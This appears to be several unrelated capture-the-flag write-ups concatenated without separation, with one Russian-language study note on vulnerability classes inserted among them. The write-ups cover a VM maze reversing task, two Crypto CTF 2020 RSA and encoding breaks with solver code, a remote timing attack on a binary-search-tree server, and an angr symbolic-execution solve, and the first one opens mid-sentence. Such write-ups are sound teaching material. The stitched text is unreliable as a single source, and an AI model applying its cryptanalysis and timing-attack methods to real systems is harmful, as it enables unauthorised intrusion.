easier on the eyes in ida lmao``` So then i put this in IDA, also loaded the data section that was mapped by the `memcpy` at the start, setup the proper segments and whatever, and the press F5 ```c__int64 sub_0(){ __int64 v0; // r9 __int64 i; // r10 _QWORD *v2; // r8 __int64 v3; // r9 __int64 v4; // r8 __int64 v5; // r9 __int64 v6; // r10 __int64 v7; // r11 __int64 v8; // r12 __int64 v9; // r12 __int64 result; // rax __int64 v11; // r8 __int64 v12; // r9 __int64 v13; // r11 __int64 v14; // r10 __int64 v15; // r12 qword_7000[0] = 1i64; *(_QWORD *)((char *)qword_7000 + 2) = 1i64; v0 = 2i64; do { if ( !*(_QWORD *)((char *)qword_7000 + 2 * v0) ) { for ( i = 2 * v0; ; i += v0 ) { unk_FFFFFFFFFFFFFFEF = i; if ( unk_FFFFFFFFFFFFFFF0 ) break; *(_QWORD *)((char *)qword_7000 + 2 * i) = 1i64; } } ++v0; } while ( v0 ); v2 = (_QWORD *)&unk_FFFFFFFFFFFFE000; v3 = 0i64; while ( *v2 ) { --v3; v2 = (_QWORD *)((char *)v2 + 1); } if ( v3 != -254 ) goto LABEL_47; v4 = 0i64; v5 = 0i64; v6 = unk_FFFFFFFFFFFFF100; v7 = 1i64; while ( 1 ) { v8 = *(_QWORD *)(v4 - 0x2000); if ( !v8 ) break; ++v4; switch ( v8 ) { case 'u': v9 = -16i64; break; case 'r': v9 = 1i64; break; case 'd': v9 = 16i64; break; case 'l': v9 = -1i64; break; default: v7 = 0i64; v9 = 0i64; break; } v6 += v9; unk_FFFFFFFFFFFFFFEF = v6; if ( unk_FFFFFFFFFFFFFFF0 ) return 4i64; unk_FFFFFFFFFFFFFFEF = *(_QWORD *)(v6 + 0xFFFFF000); unk_FFFFFFFFFFFFFFF0 = 0i64; if ( *(_QWORD *)((char *)qword_7000 + 2 * unk_FFFFFFFFFFFFFFEF) ) { v7 = 0i64; } else if ( !(v6 + *(_QWORD *)(v5 - 0xEFD)) ) { ++v5; } } if ( v7 && v5 == 9 ) { v11 = 0i64; v12 = 0i64; while ( v11 != 39 ) { v13 = 4i64; v14 = 0i64; do { v14 *= 4i64; v15 = *(_QWORD *)(v12 - 0x2000); if ( *(_QWORD *)(v12 - 0x2000) != 'u' ) { switch ( v15 ) { case 'r': ++v14; break; case 'd': v14 += 2i64; break; case 'l': v14 += 3i64; break; default: goto LABEL_47; } } ++v12; --v13; } while ( v13 ); *(_QWORD *)(v11 - 0x1800) = v14 + *(_QWORD *)(v11 - 0xEF4); ++v11; } result = 0i64; unk_FFFFFFFFFFFFE827 = 0i64; } else {LABEL_47: result = 0i64; unk_FFFFFFFFFFFFE800 = 0i64; } return result;}``` the decompilation is baaasically correct but you need to squint at some parts. tl;dr there is a 16x16 maze encoded in the data section, basically if the number is prime at that position in the array then u can walk there, otherwise composite number at that spot is a "wall". also you start at 1,1 and you need to go thru some "checkpoints" in order, and looks like they will turn your sequence of steps u,d,l,r into a flag by bit packing (since udlr is 2 bits, they just repack this as the flag lol) so then i wrote a thing in python to draw the maze in ascii (see `maze.py`) NOW for the BIG brain trick, guess what ![LMAO.png](LMAO.png) ![mazebig.png](mazebig.png) SO now the obvious next step is to write the simple BFS to solve the maze right?? Wrong, i'm an idiot and at 4am i'm too tired to write BFS algorithm, so i just solved this maze by hand LOL Actually what we did was tkoa had notepad open and I would read the steps out loud as i drew on the maze picture in MSpaint, and tkoa would write them down, basically we are playing Simon Says. WE did not want some stupid debugging nightmare and get led down a rabbit hole, so after each waypoint we would enter our input into the program and trace it to make sure our hypothesis is correct. specifically we use ld_preload to hook `sprint` and log which the format string, so we can **trace the execution of the vm** :) this is in `big_ld_meme.c` in the transpiled bin's hexrays , we got this```cif ( *(_QWORD *)((char *)qword_7000 + 2 * unk_FFFFFFFFFFFFFFEF) ){ v7 = 0i64;}else if ( !(v6 + *(_QWORD *)(v5 - 0xEFD)) ){ ++v5; // waypoint hit}``` which correspond to this ```seg000:00000000000004FEseg000:00000000000004FE waypoint_hit:seg000:00000000000004FE 008 31 C0 xor eax, eaxseg000:0000000000000500 008 4C 01 C8 add rax, r9seg000:0000000000000503 008 48 83 C0 01 add rax, 1seg000:0000000000000507 008 49 89 C1 mov r9, raxseg000:000000000000050A 008 BB D6 0C 00 00 mov ebx, 0CD6h ; this was transpiled from format string at 0x400CD6seg000:000000000000050F 008 90 nop``` wow, amazing, so smart, thanks to my genious idea of adding the comment, now i know which format string this is from!!! so we do the ld_preload trace meme (see `log.txt`) and then i search for 0x400cd6, and amazingly we did in fact hit this branch with our input for our first waypoint. ![mazebig2.png](mazebig2.png) Anyways then we kept playing simon says and solving the maze by hand because we are stupid, and each time at waypoint N we make sure we had N hits of 0x400cd6 virtual instruction. Then magically at the end we had the flag, simply incredible. ```ddrrrrrrddrrrrrrrrddllrruullllllllddddllllllddddrrrrrrrruurrddrrddrrlluulluullddlllllllluuuurrrrrruuuuuulllllldduurrrrrrddddddllllllddddrrrrrruuddlllllluuuuuurruuddllddrrrrrruuuurrrrrruurrllddllllllddddllllllddddrrddllrruulluuuurrrrrruullrruurruuuurrrrrr CTF{n0w_ev3n_pr1n7f_1s_7ur1ng_c0mpl3te} ```
# **Crypto CTF 2020** ## Amsterdam ### Category : Easy, Points : 55### Flag : CCTF{With_Re3p3ct_for_Sch4lkwijk_dec3nt_Encoding!}Challenge : amsterdam.py```#!/usr/bin/env python3 from Crypto.Util.number import *from functools import reduceimport operatorfrom secret import flag, n, k def comb(n, k): if k > n : return 0 k = min(k, n - k) u = reduce(operator.mul, range(n, n - k, -1), 1) d = reduce(operator.mul, range(1, k + 1), 1) return u // d def encrypt(msg, n, k): msg = bytes_to_long(msg.encode('utf-8')) if msg >= comb(n, k): return -1 m = ['1'] + ['0' for i in range(n - 1)] for i in range(1, n + 1): if msg >= comb(n - i, k): m[i-1]= '1' msg -= comb(n - i, k) k -= 1 m = int(''.join(m), 2) i, z = 0, [0 for i in range(n - 1)] c = 0 while (m > 0): if m % 4 == 1: c += 3 ** i m -= 1 elif m % 4 == 3: c += 2 * 3 ** i m += 1 m //= 2 i += 1 return c enc = encrypt(flag, n, k)print('enc =', enc)```output.txt ```enc = 5550332817876280162274999855997378479609235817133438293571677699650886802393479724923012712512679874728166741238894341948016359931375508700911359897203801700186950730629587624939700035031277025534500760060328480444149259318830785583493``` **Analysis :** Function comb() gives the value of <sup>n</sup>C<sub>k</sub>. To generate encrypted text, first of all a variable **m** is generated using message(flag) with bits set 1 at special places and a special least significant bit and then this **m** is converted to **enc** using some basic arithmetic operations. So, basically we have to first find ***m*** from the given ***enc*** value and then make use of the positions of bit **1** in ***m*** to proceed way back to flag. **Solution :** A simple function to find m from enc is: ```def find_m(c): i = 0 m = 0 while c > 0: if c % 3 == 1: m += 2 ** i c -= 1 elif c % 3 == 2: m += (fc(c-2)-1)*(2 ** i) break c //= 3 i += 1 return m```and our m is:```>>> m = 13037931070082386429043329808978789360911287214189289770230708339088698578551447560972351036453899271623903109387482345515668380476074788749548946464>>> b = bin(m)[2:]>>> b'1000001010000011110111100000110010110010000000001110111100111010111110100110100000111010111000101100000010111010010011000011010001111101000001101010111110000001000000011000001000110010101000000111111111101101111100000000111101001100001110000110101010101110000100111100100001000101100001011111101001010101010000011010101001001000011010100010000011101011100000110110111101110010011000010111010010111000110110011101001000000110001000000010100000011000000011000010101111001011111111000010000100000'>>> len(b)493``` In binary form, number of bits in m is 493 and this is the value for our **n**. Let's look at lsb of m which is **0**. Since this is 0, we can say our message after all reductions should follow: > msg < comb(0, k) #some k, will find it later. If msg > comb(0,k) then lsb would have been 1. Since comb(0, k) = 0 if k is positive or 1 if k = 0, we have > msg < 1 Also msg gets reduced by ***msg -= comb(n - i, k) iff msg >= comb(n-i, k)***, so from this we have > msg >= 0 #i.e. msg can never be negative Combining both we get that at last(after all reductions) **msg** will be 0. So we can represent msg as a sum of these combatorials. Now the question arises, which combatorials to combine ?? Here comes the role of bit positions '1'. Whenever **m** gets reduced by comb(n-i, k), m[i] becomes '1' and k reduces by 1. So whenever we encounter a bit 1 at index 'i' from last, we can write ***m += comb(i,some k)*** and this k incerases by 1 for next value. The positions at which bit '1' appears are (from backwards and excluding last one) : ```[5, 10, 15, 16, 17, 18, 19, 20, 21, 22, 24, 27, 28, 29, 30, 32, 34, 39, 40, 48, 49, 56, 58, 66, 70, 71, 78, 81, 83, 84, 85, 88, 89, 91, 92, 96, 97, 98, 100, 103, 105, 106, 107, 109, 114, 115, 118, 121, 122, 123, 125, 126, 127, 128, 130, 131, 133, 134, 140, 141, 142, 144, 146, 147, 148, 154, 158, 160, 162, 163, 168, 171, 174, 176, 178, 180, 181, 187, 189, 191, 193, 195, 198, 200, 201, 202, 203, 204, 205, 207, 212, 213, 215, 219, 224, 227, 228, 229, 230, 233, 238, 239, 240, 242, 244, 246, 248, 250, 251, 256, 257, 258, 263, 264, 267, 269, 270, 271, 272, 281, 282, 283, 284, 285, 287, 288, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 306, 308, 310, 313, 314, 318, 324, 325, 333, 340, 341, 342, 343, 344, 346, 348, 350, 351, 357, 359, 360, 361, 362, 363, 367, 369, 370, 375, 376, 379, 382, 384, 385, 386, 388, 395, 396, 398, 402, 403, 404, 406, 408, 409, 410, 416, 418, 419, 422, 424, 425, 426, 427, 428, 430, 432, 433, 434, 437, 438, 439, 440, 442, 443, 444, 454, 457, 458, 460, 463, 464, 470, 471, 472, 473, 475, 476, 477, 478, 484, 486]```Using all this knowledge we can represent msg as: *msg = comb(5,k) + comb(10,k+1) + comb(15,k+2)+ ... + comb(484,k+215) + comb(486,k+216)* All now left is to find the initial k. From the lsb knowledge of **m**, comb(0,k) is 0 if k is positive which means if at last k>=1, **msg (which is 0) < comb(0,k) = 0**, <--CONTRADICTION So at last k becomes 0, which means k in the first term of msg i.e. comb(5,k) would be 1, as after it it will decrease by 1 and finally become 0 to satisfy our lsb condition. Full solution is avaliable at [ams_soln.py](https://github.com/ketanch/ctf-writeups/blob/master/Crypto%20CTF%202020/ams_sol.py) ## Three Ravens ### Category : Medium, Points : 90### Flag : CCTF{tH3_thr3E_r4V3n5_ThRe3_cR0w5}Challenge : three_ravens.py```#!/usr/bin/python from Crypto.Util.number import *from flag import flag def keygen(nbit): while True: p, q, r = [getPrime(nbit) for _ in range(3)] if isPrime(p + q + r): pubkey = (p * q * r, p + q + r) privkey = (p, q, r) return pubkey, privkey def encrypt(msg, pubkey): enc = pow(bytes_to_long(msg.encode('utf-8')), 0x10001, pubkey[0] * pubkey[1]) return enc nbit = 512pubkey, _ = keygen(nbit)print('pubkey =', pubkey) enc = encrypt(flag, pubkey)print('enc =', enc)```output.txt:```pubkey = (1118073551150541760383506765868334289095849217207383428775992128374826037924363098550311115755885268424829560194236035782255428423619054826556807583363177501160213010458887123857150164238253637312857212126083296001975671629067724687807682085295986049189947830021121209617616433866087257702543240938795900959368763108186758449391390546819577861156371516299606594152091361928029030465815445679749601118940372981318726596366101388122993777320367839724909505255914071, 31678428119854378475039974072165136708037257624045332601158556362844808093636775192373992510841508137996049429030654845564354209680913299308777477807442821)enc = 8218052282226011897229703907763521214054254785275511886476861328067117492183790700782505297513098158712472588720489709882417825444704582655690684754154241671286925464578318013917918101067812646322286246947457171618728341255012035871158497984838460855373774074443992317662217415756100649174050915168424995132578902663081333332801110559150194633626102240977726402690504746072115659275869737559251377608054255462124427296423897051386235407536790844019875359350402011464166599355173568372087784974017638074052120442860329810932290582796092736141970287892079554841717950791910180281001178448060567492540466675577782909214``` **Analysis :** Instead of 2 primes, 3 primes are used and we are provided the sum and product of these primes as public key. Definition of public modulus **N** is also different and here it is product (pqr) * (p+q+r). **ASSUMPTION :** I have assumed in my solution that p+q+r > m (message) We cannot find p,q,r but we can do some tricks to reduce the modulus from **N** to a smaller value whose totient can be found easily and make use of the fact (p+q+r) is Prime. **Solution :** *N = (p x q x r) x (p+q+r)* *enc = m<sup>65537</sup> mod N* As p+q+r is a factor of N, we can reduce above expression to: *enc = m<sup>65537</sup> mod (p+q+r)* As p+q+r is also prime ( given in question ), its totient is simply p+q+r-1 : *phi = p+q+r-1* Now we can compute flag easily: ```from Crypto.Util.number import *from gmpy2 import invertn = pubkey[1] #new modulusenc = enc % nphi = n-1e = 65537d = invert(e,phi)flag = long_to_bytes(pow(enc,d,n)).decode()print(flag)``` Instead of using (p+q+r) as modulus, we could have also used pqr, but then the totient would be (p-1) x (q-1) x (r-1), which we do not know.
1. **Уязвимость информации в информационных системах** - ситуация, при которой злоумышленник может получить доступ к информационней системе, путём использования уязвимостей или слабостей, оставленных при проектирование информационной системы, для компрометации, повреждения, фальсификации информации. Примеры уязвимостей:XSS - cross site scriptingRCE - remote code executionSQL injectionBuffer overflowDirectory traversalLFI - local file inclusionRace conditionROP - return object programmingSSRF - server side request forgeryBroken authentication 2. **Коммерческая тайна** - это конфиденциальная информация, которая позволяет её правообладателю получить коммерческую выгоду при различных обстоятельствах, либо удержать позиции на рынке, либо избежать неоправданных расходов. 3. **Причины возникновения уязвимостей информации:**-Устаревшее ПО;-Некачественная настройка оборудования;-Невнимательность при проектировании системы; **Классификация уязвимостей**:- уязвимости кода;- уязвимости конфигурации;- уязвимости архитектуры;- организационные уязвимости;- многофакторные уязвимости. **Модель уязвимостей по ГОСТ:** Обязательные пункты:- идентификатор уязвимости;- наименование уязвимости;- класс уязвимости;- наименование программного обеспечения (ПО) и его версия. Дополнительные пункты:- наименование операционной системы и тип аппаратной платформы;- язык программирования ПО;- служба (порт), которую(ый) используют для функционирования ПО; - степень опасности уязвимости.- краткое описание уязвимости;- идентификаторы других систем описаний уязвимостей;- дата выявления уязвимости;- автор, опубликовавший информацию о выявленной уязвимости;- критерии опасности уязвимости. Пример - Описание уязвимости в части элемента "Наименования уязвимости": уязвимость, приводящая к переполнению буфера в службе RPC DCOM в операционных системах Microsoft Windows 4.0/2000/ХР/2003 (Vulnerability Windows XP RPCSS DCOM Buffer Overflow). Модель уязвимостей по ФСТЭК:(Нетрудно найти в интернете соответствующую картинку)
# Tracing Solved by sampriti The binary reads in a series of "sensitive" uuids from argv. Then it is a socket server which takes in a list of uuids from the client, builds a binary search tree, and then searches each "sensitive" uuid in the BST. (I know it is not memory corruption because it is Rust and i grepped for `unsafe` lmao.) Unfortunately it is REALLY sensitive so it is VERY PAINFUL to do it in practice!!!! Though this goes without saying for timing attacks... ***What is the big brain strategy for when you must brute force or timing attack???*** # RENT VPS IN THE SAME DATACENTER AS THE CHALLENGE SERVER!!!!! This trick is extremely STUPID and CRUDE but it has solved us so many challenge in the past!! If you need to timing attack or brute force, ELIMINATE NETWORK HOPS!! In the past, I have done **24 bits remote brute force** on stack canary with this trick!!! Top 10 stupid tricks CTF organizers DONT want you to know!! Despite that, we still need to apply a lot of statistical violence to make it happen, but what can you do right. The idea, anyway, is since the BST is not self-balancing we can construct really imbalanced trees, like 2^10 elements in one branch. Then we do binary search on flag bits and brute bit by bit `"CTF{1BitAtATime}"`
# Beginner### Reversing - EasySo what I *think* you were meant to do is actually do rev. But that's boring and work and I wanted to try out Angr; so I did.```pyimport angr, claripytarget = angr.Project('a.out', auto_load_libs=False)input_len = 15inp = [claripy.BVS('flag_%d' %i, 8) for i in range(input_len)]flag = claripy.Concat(*inp + [claripy.BVV(b'\n')]) desired = 0x0010111dwrong = 0x00101100 st = target.factory.full_init_state(args=["./a.out"], stdin=flag)for k in inp: st.solver.add(k < 0x7f) st.solver.add(k > 0x20) sm = target.factory.simulation_manager(st)sm.run()y = []for x in sm.deadended: if b"SUCCESS" in x.posix.dumps(1): y.append(x) #grab the first ouptutvalid = y[0].posix.dumps(0)print(valid)```5 seconds later we have the flag```WARNING | 2020-08-24 02:21:03,963 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.[ ... SNIP ... ]b'CTF{S1MDf0rM3!}\n'``` #### Flag: CTF{S1MDf0rM3!}